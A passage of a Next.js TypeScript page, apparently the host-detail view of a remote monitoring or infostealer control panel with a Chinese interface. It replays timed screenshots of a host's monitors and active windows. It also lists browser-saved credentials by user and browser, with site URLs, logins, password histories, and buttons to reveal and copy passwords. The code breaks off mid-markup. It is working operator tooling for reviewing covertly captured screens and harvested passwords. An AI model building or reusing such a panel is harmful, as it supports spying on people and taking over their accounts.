903 lines
36 KiB
TypeScript
903 lines
36 KiB
TypeScript
"use client";
|
|
|
|
import { useState, useEffect, useRef, useMemo, useCallback } from 'react';
|
|
import { useParams, useRouter } from 'next/navigation';
|
|
import {
|
|
ArrowLeft,
|
|
RefreshCcw,
|
|
ChevronDown,
|
|
User,
|
|
Globe,
|
|
Link,
|
|
Clipboard,
|
|
ShieldAlert,
|
|
Loader2
|
|
} from 'lucide-react';
|
|
import { format, differenceInMinutes } from 'date-fns';
|
|
import TimelineSlider from './components/TimelineSlider';
|
|
import RecordDatePicker from './components/RecordDatePicker';
|
|
|
|
interface Screenshot {
|
|
fileId: string;
|
|
filename: string;
|
|
monitorName: string;
|
|
}
|
|
|
|
interface Window {
|
|
title: string;
|
|
path: string;
|
|
memory: number;
|
|
}
|
|
|
|
interface ScreenRecord {
|
|
timestamp: string;
|
|
windows: Window[];
|
|
screenshots: Screenshot[];
|
|
}
|
|
|
|
interface TimeDistributionPoint {
|
|
count: number;
|
|
timestamp: number;
|
|
}
|
|
|
|
interface Password {
|
|
value: string;
|
|
timestamp: string;
|
|
}
|
|
|
|
interface Credential {
|
|
_id: string;
|
|
hostname: string;
|
|
username: string;
|
|
browser: string;
|
|
url: string;
|
|
login: string;
|
|
passwords: Password[];
|
|
lastSyncTime: Date;
|
|
}
|
|
|
|
interface BrowserGroup {
|
|
name: string;
|
|
credentials: Credential[];
|
|
}
|
|
|
|
interface UserGroup {
|
|
username: string;
|
|
browsers: BrowserGroup[];
|
|
total: number;
|
|
lastSyncTime?: string;
|
|
}
|
|
|
|
interface Segment {
|
|
start: number;
|
|
end: number;
|
|
active: boolean;
|
|
}
|
|
|
|
interface Marker {
|
|
time: number;
|
|
label?: string;
|
|
active?: boolean;
|
|
}
|
|
|
|
export default function HostDetail() {
|
|
const params = useParams();
|
|
const router = useRouter();
|
|
const hostname = params.hostname as string;
|
|
|
|
// 状态管理
|
|
const [activeTab, setActiveTab] = useState('screenshots');
|
|
const [timeDistribution, setTimeDistribution] = useState<TimeDistributionPoint[]>([]);
|
|
const [records, setRecords] = useState<ScreenRecord[]>([]);
|
|
const [selectedRecord, setSelectedRecord] = useState<ScreenRecord | null>(null);
|
|
const [loadingDistribution, setLoadingDistribution] = useState(false);
|
|
const [loadingRecords, setLoadingRecords] = useState(false);
|
|
const [showDetailTimeline, setShowDetailTimeline] = useState(false);
|
|
const [lastUpdate, setLastUpdate] = useState<string | null>(null);
|
|
|
|
// 凭据相关状态
|
|
const [credentials, setCredentials] = useState<Credential[]>([]);
|
|
const [loadingCredentials, setLoadingCredentials] = useState(false);
|
|
const [expandedUsers, setExpandedUsers] = useState<string[]>([]);
|
|
const [expandedBrowsers, setExpandedBrowsers] = useState<string[]>([]);
|
|
const [expandedCredentials, setExpandedCredentials] = useState<string[]>([]);
|
|
const [revealedPasswords, setRevealedPasswords] = useState<string[]>([]);
|
|
|
|
// 日历和滑块状态
|
|
const [selectedDate, setSelectedDate] = useState<string | null>(null);
|
|
const [timeRange, setTimeRange] = useState({ min: 0, max: 0 });
|
|
const [hourlySliderValue, setHourlySliderValue] = useState(0);
|
|
const [detailedSliderValue, setDetailedSliderValue] = useState(0);
|
|
|
|
// 播放控制
|
|
const [currentFrameIndex, setCurrentFrameIndex] = useState(-1);
|
|
const [autoPlay, setAutoPlay] = useState(false);
|
|
const [autoPlaySpeed, setAutoPlaySpeed] = useState(200);
|
|
const [imagesLoadedCount, setImagesLoadedCount] = useState(0);
|
|
const [imageAspectRatio, setImageAspectRatio] = useState(16 / 9);
|
|
const autoPlayTimer = useRef<NodeJS.Timeout | null>(null);
|
|
|
|
// 格式化内存大小
|
|
const formatMemory = (bytes: number) => {
|
|
if (typeof bytes !== 'number') return '0 B';
|
|
const units = ['B', 'KB', 'MB', 'GB'];
|
|
let size = bytes;
|
|
let unitIndex = 0;
|
|
while (size >= 1024 && unitIndex < units.length - 1) {
|
|
size /= 1024;
|
|
unitIndex++;
|
|
}
|
|
return `${size.toFixed(1)} ${units[unitIndex]}`;
|
|
};
|
|
|
|
// 格式化日期
|
|
const formatDate = (date: string, type: 'full' | 'short' = 'full') => {
|
|
if (type === 'short') {
|
|
return format(new Date(date), 'MM-dd HH:mm');
|
|
}
|
|
return format(new Date(date), 'yyyy-MM-dd HH:mm:ss');
|
|
};
|
|
|
|
// 获取时间分布数据
|
|
const fetchTimeDistribution = async () => {
|
|
try {
|
|
setLoadingDistribution(true);
|
|
const response = await fetch(`/hosts/${hostname}/time-distribution`);
|
|
if (!response.ok) throw new Error('获取时间分布数据失败');
|
|
const data = await response.json();
|
|
setTimeDistribution(data.distribution);
|
|
} catch (error) {
|
|
console.error('获取时间分布数据失败:', error);
|
|
} finally {
|
|
setLoadingDistribution(false);
|
|
}
|
|
};
|
|
|
|
// 获取凭据数据
|
|
const fetchCredentials = async () => {
|
|
try {
|
|
setLoadingCredentials(true);
|
|
const response = await fetch(`/hosts/${hostname}/credentials`);
|
|
if (!response.ok) throw new Error('获取凭据数据失败');
|
|
const data = await response.json();
|
|
setCredentials(data);
|
|
|
|
if (data.length > 0) {
|
|
const firstUser = data[0].username;
|
|
if (!expandedUsers.includes(firstUser)) {
|
|
setExpandedUsers([firstUser]);
|
|
}
|
|
}
|
|
} catch (error) {
|
|
console.error('获取凭据数据失败:', error);
|
|
} finally {
|
|
setLoadingCredentials(false);
|
|
}
|
|
};
|
|
|
|
// 获取小时记录
|
|
const fetchHourlyRecords = async (startTime: number, endTime: number) => {
|
|
try {
|
|
setLoadingRecords(true);
|
|
setShowDetailTimeline(true);
|
|
const response = await fetch(
|
|
`/hosts/${hostname}/screenshots?startTime=${startTime}&endTime=${endTime}`
|
|
);
|
|
if (!response.ok) throw new Error('获取记录数据失败');
|
|
const data = await response.json();
|
|
setRecords(data.records.reverse());
|
|
setLastUpdate(data.lastUpdate);
|
|
setTimeRange({ min: startTime * 1000, max: endTime * 1000 });
|
|
|
|
requestAnimationFrame(() => {
|
|
setSelectedRecord(data.records[0]);
|
|
});
|
|
} catch (error) {
|
|
console.error('获取记录数据失败:', error);
|
|
} finally {
|
|
setLoadingRecords(false);
|
|
}
|
|
};
|
|
|
|
// 组织凭据数据按用户分组
|
|
const credentialsByUser = useMemo<UserGroup[]>(() => {
|
|
const userMap = new Map<string, Credential[]>();
|
|
|
|
credentials.forEach(cred => {
|
|
if (!userMap.has(cred.username)) {
|
|
userMap.set(cred.username, []);
|
|
}
|
|
userMap.get(cred.username)!.push(cred);
|
|
});
|
|
|
|
const result: UserGroup[] = [];
|
|
|
|
userMap.forEach((userCreds, username) => {
|
|
const latestSyncTime = userCreds.reduce((latest, cred) => {
|
|
const credTime = new Date(cred.lastSyncTime);
|
|
return credTime > latest ? credTime : latest;
|
|
}, new Date(0)).toISOString();
|
|
|
|
const browserMap = new Map<string, Credential[]>();
|
|
|
|
userCreds.forEach(cred => {
|
|
if (!browserMap.has(cred.browser)) {
|
|
browserMap.set(cred.browser, []);
|
|
}
|
|
browserMap.get(cred.browser)!.push(cred);
|
|
});
|
|
|
|
const browsers: BrowserGroup[] = [];
|
|
browserMap.forEach((browserCreds, browserName) => {
|
|
browsers.push({
|
|
name: browserName,
|
|
credentials: browserCreds
|
|
});
|
|
});
|
|
|
|
result.push({
|
|
username,
|
|
browsers,
|
|
total: userCreds.length,
|
|
lastSyncTime: latestSyncTime
|
|
});
|
|
});
|
|
|
|
return result;
|
|
}, [credentials]);
|
|
|
|
// 日历相关计算
|
|
const dailyCounts = useMemo(() => {
|
|
const map: Record<string, number> = {};
|
|
timeDistribution.forEach(point => {
|
|
const d = new Date(point.timestamp * 1000);
|
|
const dateStr = `${d.getFullYear()}-${(d.getMonth() + 1).toString().padStart(2, '0')}-${d.getDate().toString().padStart(2, '0')}`;
|
|
map[dateStr] = (map[dateStr] || 0) + point.count;
|
|
});
|
|
return map;
|
|
}, [timeDistribution]);
|
|
|
|
// 小时分布滑块相关计算
|
|
const hourlyMinTime = useMemo(() => {
|
|
if (selectedDate) {
|
|
const [year, month, day] = selectedDate.split('-').map(Number);
|
|
const dayStart = new Date(year, month - 1, day);
|
|
return dayStart.getTime();
|
|
}
|
|
if (timeDistribution.length === 0) return Date.now();
|
|
const minSec = Math.min(...timeDistribution.map(d => d.timestamp));
|
|
return minSec * 1000;
|
|
}, [selectedDate, timeDistribution]);
|
|
|
|
const hourlyMaxTime = useMemo(() => {
|
|
if (selectedDate) {
|
|
const [year, month, day] = selectedDate.split('-').map(Number);
|
|
const dayStart = new Date(year, month - 1, day);
|
|
const dayEnd = new Date(dayStart);
|
|
dayEnd.setDate(dayStart.getDate() + 1);
|
|
return dayEnd.getTime();
|
|
}
|
|
if (timeDistribution.length === 0) return Date.now();
|
|
const maxSec = Math.max(...timeDistribution.map(d => d.timestamp));
|
|
return (maxSec + 3599) * 1000;
|
|
}, [selectedDate, timeDistribution]);
|
|
|
|
const hourlySegments = useMemo(() => {
|
|
const segments: Segment[] = [];
|
|
if (selectedDate) {
|
|
const [year, month, day] = selectedDate.split('-').map(Number);
|
|
const dayStart = new Date(year, month - 1, day);
|
|
const startSec = Math.floor(dayStart.getTime() / 1000);
|
|
const dayEnd = new Date(dayStart);
|
|
dayEnd.setDate(dayEnd.getDate() + 1);
|
|
const endSec = Math.floor(dayEnd.getTime() / 1000);
|
|
|
|
for (let t = startSec; t < endSec; t += 3600) {
|
|
const segStart = t * 1000;
|
|
const segEnd = (t + 3600) * 1000;
|
|
const data = timeDistribution.find(d => d.timestamp >= t && d.timestamp < t + 3600);
|
|
segments.push({
|
|
start: segStart,
|
|
end: segEnd,
|
|
active: !!data && data.count > 0
|
|
});
|
|
}
|
|
} else {
|
|
if (timeDistribution.length === 0) return segments;
|
|
const startSec = Math.min(...timeDistribution.map(d => d.timestamp));
|
|
const endSec = Math.max(...timeDistribution.map(d => d.timestamp));
|
|
for (let t = startSec; t <= endSec; t += 3600) {
|
|
const segStart = t * 1000;
|
|
const segEnd = (t + 3600) * 1000;
|
|
const data = timeDistribution.find(d => d.timestamp === t);
|
|
segments.push({
|
|
start: segStart,
|
|
end: segEnd,
|
|
active: data ? data.count > 0 : false
|
|
});
|
|
}
|
|
}
|
|
return segments;
|
|
}, [selectedDate, timeDistribution]);
|
|
|
|
// 详细时间点标记
|
|
const detailedMarkers = useMemo(() => {
|
|
return records.map(record => ({
|
|
time: new Date(record.timestamp).getTime(),
|
|
label: format(new Date(record.timestamp), 'HH:mm:ss'),
|
|
active: true
|
|
}));
|
|
}, [records]);
|
|
|
|
// 计算属性
|
|
const allImagesLoaded = useMemo(() => {
|
|
if (!selectedRecord) return false;
|
|
return imagesLoadedCount >= selectedRecord.screenshots.length;
|
|
}, [selectedRecord, imagesLoadedCount]);
|
|
|
|
// 事件处理函数
|
|
const onHourlySliderChange = (newValue: number) => {
|
|
const selectedSec = Math.floor(newValue / 3600000) * 3600;
|
|
|
|
// 使用 setTimeout 避免在渲染过程中更新状态
|
|
setTimeout(() => {
|
|
setHourlySliderValue(newValue);
|
|
fetchHourlyRecords(selectedSec, selectedSec + 3600);
|
|
}, 0);
|
|
};
|
|
|
|
const onDetailedSliderChange = (newValue: number) => {
|
|
if (records.length === 0) return;
|
|
const targetTime = newValue;
|
|
let closestRecord = records[0];
|
|
let minDiff = Math.abs(new Date(closestRecord.timestamp).getTime() - targetTime);
|
|
|
|
for (const record of records) {
|
|
const diff = Math.abs(new Date(record.timestamp).getTime() - targetTime);
|
|
if (diff < minDiff) {
|
|
minDiff = diff;
|
|
closestRecord = record;
|
|
}
|
|
}
|
|
|
|
// 使用 setTimeout 避免在渲染过程中更新状态
|
|
setTimeout(() => {
|
|
setSelectedRecord(closestRecord);
|
|
setDetailedSliderValue(newValue);
|
|
}, 0);
|
|
};
|
|
|
|
// 展开/折叠功能
|
|
const toggleUserExpanded = (username: string) => {
|
|
if (expandedUsers.includes(username)) {
|
|
setExpandedUsers(expandedUsers.filter(u => u !== username));
|
|
} else {
|
|
setExpandedUsers([...expandedUsers, username]);
|
|
}
|
|
};
|
|
|
|
const toggleBrowserExpanded = (browserKey: string) => {
|
|
if (expandedBrowsers.includes(browserKey)) {
|
|
setExpandedBrowsers(expandedBrowsers.filter(b => b !== browserKey));
|
|
} else {
|
|
setExpandedBrowsers([...expandedBrowsers, browserKey]);
|
|
}
|
|
};
|
|
|
|
const toggleCredentialExpanded = (credId: string) => {
|
|
if (expandedCredentials.includes(credId)) {
|
|
setExpandedCredentials(expandedCredentials.filter(c => c !== credId));
|
|
} else {
|
|
setExpandedCredentials([...expandedCredentials, credId]);
|
|
}
|
|
};
|
|
|
|
const revealPassword = (passwordKey: string) => {
|
|
if (!revealedPasswords.includes(passwordKey)) {
|
|
setRevealedPasswords([...revealedPasswords, passwordKey]);
|
|
}
|
|
};
|
|
|
|
const copyToClipboard = async (text: string) => {
|
|
try {
|
|
await navigator.clipboard.writeText(text);
|
|
} catch (err) {
|
|
console.error('复制失败:', err);
|
|
}
|
|
};
|
|
|
|
// 播放控制
|
|
const nextFrame = () => {
|
|
if (currentFrameIndex < records.length - 1) {
|
|
setCurrentFrameIndex(currentFrameIndex + 1);
|
|
setSelectedRecord(records[currentFrameIndex + 1]);
|
|
} else {
|
|
setAutoPlay(false);
|
|
}
|
|
stopAutoPlayTimer();
|
|
};
|
|
|
|
const prevFrame = () => {
|
|
if (currentFrameIndex > 0) {
|
|
setCurrentFrameIndex(currentFrameIndex - 1);
|
|
setSelectedRecord(records[currentFrameIndex - 1]);
|
|
}
|
|
stopAutoPlayTimer();
|
|
};
|
|
|
|
const toggleAutoPlay = () => {
|
|
setAutoPlay(!autoPlay);
|
|
};
|
|
|
|
const startAutoPlayTimer = useCallback(() => {
|
|
if (allImagesLoaded && autoPlay) {
|
|
autoPlayTimer.current = setTimeout(() => {
|
|
nextFrame();
|
|
}, autoPlaySpeed);
|
|
}
|
|
}, [allImagesLoaded, autoPlay, autoPlaySpeed, currentFrameIndex, records.length]);
|
|
|
|
const stopAutoPlayTimer = () => {
|
|
if (autoPlayTimer.current) {
|
|
clearTimeout(autoPlayTimer.current);
|
|
autoPlayTimer.current = null;
|
|
}
|
|
};
|
|
|
|
const onImageLoad = (event: React.SyntheticEvent<HTMLImageElement>, fileId: string) => {
|
|
setImagesLoadedCount(prev => prev + 1);
|
|
const imgEl = event.target as HTMLImageElement;
|
|
if (imgEl.naturalHeight !== 0) {
|
|
setImageAspectRatio(imgEl.naturalWidth / imgEl.naturalHeight);
|
|
}
|
|
};
|
|
|
|
// Effects
|
|
useEffect(() => {
|
|
fetchTimeDistribution();
|
|
fetchCredentials();
|
|
}, [hostname]);
|
|
|
|
useEffect(() => {
|
|
if (!selectedDate && Object.keys(dailyCounts).length > 0) {
|
|
const dates = Object.keys(dailyCounts).sort();
|
|
if (dates.length > 0) {
|
|
setSelectedDate(dates[0]);
|
|
}
|
|
}
|
|
}, [dailyCounts, selectedDate]);
|
|
|
|
useEffect(() => {
|
|
setHourlySliderValue(hourlyMinTime);
|
|
}, [hourlyMinTime]);
|
|
|
|
useEffect(() => {
|
|
if (selectedDate) {
|
|
const activeSegment = hourlySegments.find(s => s.active);
|
|
const newValue = activeSegment ? activeSegment.start + 1800000 : hourlyMinTime;
|
|
setHourlySliderValue(newValue);
|
|
onHourlySliderChange(newValue);
|
|
}
|
|
}, [selectedDate, hourlySegments, hourlyMinTime]);
|
|
|
|
useEffect(() => {
|
|
setDetailedSliderValue(timeRange.min);
|
|
}, [timeRange.min]);
|
|
|
|
useEffect(() => {
|
|
setImagesLoadedCount(0);
|
|
if (selectedRecord) {
|
|
const idx = records.findIndex(rec => rec.timestamp === selectedRecord.timestamp);
|
|
setCurrentFrameIndex(idx);
|
|
setDetailedSliderValue(new Date(selectedRecord.timestamp).getTime());
|
|
}
|
|
if (autoPlay && allImagesLoaded) {
|
|
startAutoPlayTimer();
|
|
}
|
|
}, [selectedRecord, records, autoPlay, allImagesLoaded, startAutoPlayTimer]);
|
|
|
|
useEffect(() => {
|
|
if (autoPlay && allImagesLoaded) {
|
|
stopAutoPlayTimer();
|
|
startAutoPlayTimer();
|
|
}
|
|
}, [autoPlay, allImagesLoaded, autoPlaySpeed, startAutoPlayTimer]);
|
|
|
|
return (
|
|
<div className="min-h-screen bg-gray-50 dark:bg-gray-900 overflow-x-hidden">
|
|
<div className="max-w-8xl mx-auto py-6 px-4 sm:px-6 lg:px-8">
|
|
{/* 头部导航 */}
|
|
<div className="flex items-center justify-between mb-8">
|
|
<div>
|
|
<button
|
|
onClick={() => router.back()}
|
|
className="inline-flex items-center text-gray-600 dark:text-gray-400 hover:text-gray-900 dark:hover:text-white"
|
|
>
|
|
<ArrowLeft className="h-5 w-5 mr-2" />
|
|
返回
|
|
</button>
|
|
<h1 className="text-3xl font-semibold text-gray-900 dark:text-white mt-2">
|
|
{decodeURI(hostname)}
|
|
</h1>
|
|
</div>
|
|
{lastUpdate && (
|
|
<div className="text-sm text-gray-500 dark:text-gray-400">
|
|
最后更新: {formatDate(lastUpdate)}
|
|
</div>
|
|
)}
|
|
</div>
|
|
|
|
{/* 选项卡导航 */}
|
|
<div className="mb-6 border-b border-gray-200 dark:border-gray-700">
|
|
<nav className="-mb-px flex space-x-8">
|
|
<button
|
|
onClick={() => setActiveTab('screenshots')}
|
|
className={`py-2 px-1 border-b-2 font-medium text-sm ${
|
|
activeTab === 'screenshots'
|
|
? 'border-blue-600 text-blue-600'
|
|
: 'border-transparent text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-300 hover:border-gray-300 dark:hover:border-gray-600'
|
|
}`}
|
|
>
|
|
截图时间线
|
|
</button>
|
|
<button
|
|
onClick={() => setActiveTab('credentials')}
|
|
className={`py-2 px-1 border-b-2 font-medium text-sm ${
|
|
activeTab === 'credentials'
|
|
? 'border-blue-600 text-blue-600'
|
|
: 'border-transparent text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-300 hover:border-gray-300 dark:hover:border-gray-600'
|
|
}`}
|
|
>
|
|
凭据信息
|
|
</button>
|
|
</nav>
|
|
</div>
|
|
|
|
{/* 截图时间线选项卡 */}
|
|
{activeTab === 'screenshots' && (
|
|
<div>
|
|
{/* 小时分布滑块(时间分布) */}
|
|
<div className="mb-8">
|
|
<div className="flex justify-between items-center mb-4">
|
|
<h2 className="text-lg font-medium text-gray-900 dark:text-white">时间分布</h2>
|
|
<button
|
|
onClick={fetchTimeDistribution}
|
|
className="p-2 rounded hover:bg-gray-100 dark:hover:bg-gray-800"
|
|
>
|
|
<RefreshCcw className={`h-5 w-5 text-gray-600 dark:text-gray-400 ${loadingDistribution ? 'animate-spin' : ''}`} />
|
|
</button>
|
|
</div>
|
|
|
|
<RecordDatePicker
|
|
value={selectedDate}
|
|
dailyCounts={dailyCounts}
|
|
onChange={setSelectedDate}
|
|
/>
|
|
|
|
{hourlySegments.length > 0 ? (
|
|
<div className="mt-4">
|
|
<TimelineSlider
|
|
minTime={hourlyMinTime}
|
|
maxTime={hourlyMaxTime}
|
|
value={hourlySliderValue}
|
|
mode="segments"
|
|
segments={hourlySegments}
|
|
onChange={onHourlySliderChange}
|
|
/>
|
|
</div>
|
|
) : (
|
|
<div className="text-gray-500 dark:text-gray-400 mt-4">加载时间分布中...</div>
|
|
)}
|
|
</div>
|
|
|
|
{/* 详细时间点滑块 */}
|
|
{showDetailTimeline && (
|
|
<div className="mb-8">
|
|
<div className="flex justify-between items-center mb-4">
|
|
<h2 className="text-lg font-medium text-gray-900 dark:text-white">时间点详情</h2>
|
|
<button
|
|
onClick={() => {
|
|
const selectedSec = Math.floor(hourlySliderValue / 3600000) * 3600;
|
|
fetchHourlyRecords(selectedSec, selectedSec + 3600);
|
|
}}
|
|
className="p-2 rounded hover:bg-gray-100 dark:hover:bg-gray-800"
|
|
>
|
|
<RefreshCcw className={`h-5 w-5 text-gray-600 dark:text-gray-400 ${loadingRecords ? 'animate-spin' : ''}`} />
|
|
</button>
|
|
</div>
|
|
|
|
{records.length > 0 ? (
|
|
<TimelineSlider
|
|
minTime={timeRange.min}
|
|
maxTime={timeRange.max}
|
|
value={detailedSliderValue}
|
|
mode="ticks"
|
|
markers={detailedMarkers}
|
|
onChange={onDetailedSliderChange}
|
|
/>
|
|
) : (
|
|
<div className="text-gray-500 dark:text-gray-400">加载记录中...</div>
|
|
)}
|
|
</div>
|
|
)}
|
|
|
|
{/* 图片预览区域及控制按钮 */}
|
|
{selectedRecord && (
|
|
<div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm p-6">
|
|
{/* 图片预览区域 */}
|
|
{selectedRecord.screenshots.map((screenshot, sIndex) => (
|
|
<div key={sIndex} className="relative mb-6">
|
|
<div
|
|
className="relative w-full"
|
|
style={{ aspectRatio: imageAspectRatio }}
|
|
>
|
|
<img
|
|
src={`/screenshots/${screenshot.fileId}`}
|
|
alt={screenshot.monitorName}
|
|
className="absolute top-0 left-0 w-full h-full object-contain shadow-sm hover:shadow-md transition-shadow"
|
|
onLoad={(e) => onImageLoad(e, screenshot.fileId)}
|
|
/>
|
|
</div>
|
|
|
|
{/* 图片说明 */}
|
|
<div className="absolute bottom-4 left-4 bg-black dark:bg-gray-900 bg-opacity-60 dark:bg-opacity-80 text-white px-2 py-1 rounded">
|
|
<div className="text-sm">{screenshot.monitorName}</div>
|
|
<div className="text-xs">
|
|
{new Date(selectedRecord.timestamp).toLocaleString()}
|
|
</div>
|
|
</div>
|
|
|
|
{/* 左侧点击区域 - 上一帧 */}
|
|
<div
|
|
onPointerDown={(e) => { e.preventDefault(); prevFrame(); }}
|
|
onTouchStart={(e) => e.preventDefault()}
|
|
className="absolute bottom-0 left-0 h-full w-1/3 text-white px-2 py-1 cursor-pointer"
|
|
/>
|
|
|
|
{/* 右侧点击区域 - 下一帧 */}
|
|
<div
|
|
onPointerDown={(e) => { e.preventDefault(); nextFrame(); }}
|
|
onTouchStart={(e) => e.preventDefault()}
|
|
className="absolute bottom-0 right-0 h-full w-1/3 text-white px-2 py-1 cursor-pointer"
|
|
/>
|
|
</div>
|
|
))}
|
|
|
|
{/* 控制按钮区域 */}
|
|
<div className="flex flex-col sm:flex-row items-center justify-center mb-4 space-y-2 sm:space-y-0 sm:space-x-3">
|
|
<label className="flex items-center space-x-1">
|
|
<span className="text-sm text-gray-600 dark:text-gray-400">速度</span>
|
|
<input
|
|
type="number"
|
|
value={autoPlaySpeed}
|
|
onChange={(e) => setAutoPlaySpeed(Number(e.target.value))}
|
|
className="w-16 text-sm px-1 py-1 border dark:border-gray-600 rounded focus:outline-none bg-white dark:bg-gray-700 text-gray-900 dark:text-white"
|
|
min="100"
|
|
max="2000"
|
|
step="100"
|
|
/>
|
|
<span className="text-sm text-gray-600 dark:text-gray-400">ms</span>
|
|
</label>
|
|
<button
|
|
onClick={toggleAutoPlay}
|
|
className="px-4 py-2 bg-blue-600 hover:bg-blue-700 text-white text-sm rounded focus:outline-none"
|
|
>
|
|
{!autoPlay ? '播放' : '暂停'}
|
|
</button>
|
|
</div>
|
|
|
|
{/* 窗口信息 */}
|
|
<div className="w-full">
|
|
<h3 className="text-lg font-medium text-gray-900 dark:text-white mb-3">活动窗口</h3>
|
|
<div className="bg-gray-50 dark:bg-gray-700 rounded-md p-4">
|
|
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-4">
|
|
{selectedRecord.windows.map((window, index) => (
|
|
<div key={index} className="p-4 bg-white dark:bg-gray-800 rounded-md shadow-sm">
|
|
<div className="space-y-2">
|
|
<div className="font-medium text-gray-900 dark:text-white">
|
|
{window.title}
|
|
</div>
|
|
<div className="text-sm text-gray-500 dark:text-gray-400 break-all">
|
|
{window.path}
|
|
</div>
|
|
<div className="text-sm flex items-center text-gray-600 dark:text-gray-400">
|
|
内存占用: {formatMemory(window.memory)}
|
|
</div>
|
|
</div>
|
|
</div>
|
|
))}
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
)}
|
|
</div>
|
|
)}
|
|
|
|
{/* 凭据信息选项卡 */}
|
|
{activeTab === 'credentials' && (
|
|
<div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm p-6">
|
|
<div className="flex items-center justify-between mb-6">
|
|
<h2 className="text-xl font-medium text-gray-900 dark:text-white">凭据信息</h2>
|
|
<div className="flex space-x-2">
|
|
<button
|
|
onClick={fetchCredentials}
|
|
className="px-3 py-1.5 bg-blue-600 hover:bg-blue-700 text-white text-sm rounded focus:outline-none flex items-center"
|
|
>
|
|
<RefreshCcw className={`h-4 w-4 mr-1 ${loadingCredentials ? 'animate-spin' : ''}`} />
|
|
刷新
|
|
</button>
|
|
</div>
|
|
</div>
|
|
|
|
{/* 加载状态 */}
|
|
{loadingCredentials ? (
|
|
<div className="flex justify-center py-12">
|
|
<div className="animate-pulse flex flex-col items-center">
|
|
<Loader2 className="h-8 w-8 text-blue-600 animate-spin" />
|
|
<p className="mt-2 text-gray-500 dark:text-gray-400">加载凭据信息...</p>
|
|
</div>
|
|
</div>
|
|
) : credentialsByUser.length === 0 ? (
|
|
<div className="py-12 flex flex-col items-center justify-center">
|
|
<ShieldAlert className="h-12 w-12 text-gray-400 mb-3" />
|
|
<p className="text-gray-500 dark:text-gray-400 mb-1">没有找到任何凭据信息</p>
|
|
<p className="text-sm text-gray-400 dark:text-gray-500">可能是该主机尚未上报凭据数据</p>
|
|
</div>
|
|
) : (
|
|
<div className="space-y-6">
|
|
{credentialsByUser.map((userGroup, index) => (
|
|
<div key={index} className="border border-gray-200 dark:border-gray-700 rounded-md overflow-hidden">
|
|
{/* 用户信息头部 */}
|
|
<div className="bg-gray-50 dark:bg-gray-700 px-4 py-3">
|
|
<div className="flex items-center justify-between">
|
|
<div
|
|
className="flex items-center cursor-pointer"
|
|
onClick={() => toggleUserExpanded(userGroup.username)}
|
|
>
|
|
<User className="h-5 w-5 text-gray-500 dark:text-gray-400 mr-2" />
|
|
<h3 className="font-medium text-gray-900 dark:text-white">{userGroup.username}</h3>
|
|
<div className="ml-3 text-sm text-gray-500 dark:text-gray-400">
|
|
({userGroup.browsers.length} 个浏览器, {userGroup.total} 个凭据)
|
|
</div>
|
|
<ChevronDown
|
|
className={`h-5 w-5 text-gray-500 dark:text-gray-400 ml-2 transition-transform duration-200 ${
|
|
expandedUsers.includes(userGroup.username) ? 'rotate-180' : ''
|
|
}`}
|
|
/>
|
|
</div>
|
|
|
|
{userGroup.lastSyncTime && (
|
|
<div className="text-xs text-gray-500 dark:text-gray-400">
|
|
最后同步: {formatDate(userGroup.lastSyncTime, 'short')}
|
|
</div>
|
|
)}
|
|
</div>
|
|
</div>
|
|
|
|
{/* 用户凭据内容 */}
|
|
{expandedUsers.includes(userGroup.username) && (
|
|
<div className="divide-y divide-gray-100 dark:divide-gray-600">
|
|
{userGroup.browsers.map((browser) => (
|
|
<div
|
|
key={`${userGroup.username}-${browser.name}`}
|
|
className="px-4 py-3 hover:bg-gray-50 dark:hover:bg-gray-700"
|
|
>
|
|
{/* 浏览器标题 */}
|
|
<div
|
|
className="flex items-center mb-2 cursor-pointer"
|
|
onClick={() => toggleBrowserExpanded(`${userGroup.username}-${browser.name}`)}
|
|
>
|
|
<div className="flex items-center">
|
|
<Globe className="h-4 w-4 text-gray-500 dark:text-gray-400 mr-2" />
|
|
<span className="font-medium text-gray-800 dark:text-gray-200">{browser.name}</span>
|
|
<span className="ml-2 text-sm text-gray-500 dark:text-gray-400">
|
|
({browser.credentials.length} 个站点)
|
|
</span>
|
|
</div>
|
|
<ChevronDown
|
|
className={`h-4 w-4 text-gray-500 dark:text-gray-400 ml-2 transition-transform duration-200 ${
|
|
expandedBrowsers.includes(`${userGroup.username}-${browser.name}`) ? 'rotate-180' : ''
|
|
}`}
|
|
/>
|
|
</div>
|
|
|
|
{/* 浏览器凭据列表 */}
|
|
{expandedBrowsers.includes(`${userGroup.username}-${browser.name}`) && (
|
|
<div className="pl-6 space-y-3 mt-2">
|
|
{browser.credentials.map((cred) => (
|
|
<div
|
|
key={`${userGroup.username}-${browser.name}-${cred._id}`}
|
|
className="border border-gray-200 dark:border-gray-600 rounded-md overflow-hidden"
|
|
>
|
|
{/* 凭据网站头部 */}
|
|
<div
|
|
className="bg-gray-50 dark:bg-gray-700 px-3 py-2 flex items-center justify-between cursor-pointer"
|
|
onClick={() => toggleCredentialExpanded(cred._id)}
|
|
>
|
|
<div className="flex items-center">
|
|
<Link className="h-4 w-4 text-gray-500 dark:text-gray-400 mr-2" />
|
|
<div className="text-sm font-medium text-gray-900 dark:text-white truncate max-w-md">
|
|
{cred.url}
|
|
</div>
|
|
</div>
|
|
<ChevronDown
|
|
className={`h-4 w-4 text-gray-500 dark:text-gray-400 transition-transform duration-200 ${
|
|
expandedCredentials.includes(cred._id) ? 'rotate-180' : ''
|
|
}`}
|
|
/>
|
|
</div>
|
|
|
|
{/* 凭据详情 */}
|
|
{expandedCredentials.includes(cred._id) && (
|
|
<div className="bg-white dark:bg-gray-800 px-3 py-2">
|
|
<div className="grid grid-cols-1 gap-2 sm:grid-cols-2">
|
|
<div className="flex items-center">
|
|
<span className="text-sm text-gray-500 dark:text-gray-400 w-16">用户名:</span>
|
|
<span className="text-sm font-medium ml-2 text-gray-900 dark:text-white">{cred.login}</span>
|
|
</div>
|
|
|
|
<div className="flex flex-col">
|
|
<div className="flex items-center mb-1">
|
|
<span className="text-sm text-gray-500 dark:text-gray-400 w-16">密码历史:</span>
|
|
<span className="text-xs bg-gray-100 dark:bg-gray-600 text-gray-600 dark:text-gray-300 rounded px-1">
|
|
{cred.passwords.length} 条记录
|
|
</span>
|
|
</div>
|
|
|
|
<div className="pl-6 space-y-2 mt-1">
|
|
